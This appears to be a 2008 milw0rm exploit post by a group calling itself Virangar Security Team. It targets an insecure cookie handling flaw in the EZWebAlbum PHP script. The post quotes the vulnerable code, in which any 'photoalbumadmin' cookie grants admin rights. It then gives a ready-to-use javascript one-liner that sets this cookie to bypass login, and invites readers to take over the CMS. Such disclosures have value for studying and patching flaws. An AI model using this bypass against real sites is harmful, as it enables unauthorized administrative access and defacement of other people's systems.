50 lines
No EOL
1.5 KiB
Text
50 lines
No EOL
1.5 KiB
Text
###################################################################################
|
|
# #
|
|
# ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::.... #
|
|
###################################################################################
|
|
|
|
Virangar Security Team
|
|
|
|
www.virangar.net
|
|
www.virangar.ir
|
|
|
|
--------
|
|
Discoverd By :virangar security team(Zahra:zh_virangar)
|
|
|
|
special tnx :my master hadihadi
|
|
|
|
tnx to:MR.nosrati,black.shadowes,MR.hesy
|
|
|
|
& all virangar members & all hackerz
|
|
-------
|
|
DESCRIPTION:
|
|
EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates
|
|
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
|
|
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
|
|
logged in as a legit admin.
|
|
---
|
|
some code in index.php:
|
|
|
|
if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword )
|
|
{
|
|
setcookie("photoalbumadmin","1");
|
|
header("Location: index.php");
|
|
}
|
|
**********************
|
|
now vuln code in constants.inc:
|
|
$gotalbumadminrights = False;
|
|
|
|
if (isset($photoalbumadmin))
|
|
{
|
|
$gotalbumadminrights = True;
|
|
}//SET ADMIN RIGHTS IF COOKIE FOUND
|
|
---
|
|
exploit:
|
|
javascript:document.cookie = "photoalbumadmin=1; path=/";
|
|
-----
|
|
now you can get admin access and manage the cms ;)
|
|
[+]Example:add a new page in addpage.php
|
|
-------
|
|
young iranian h4ck3rz
|
|
|
|
# milw0rm.com [2008-07-21] |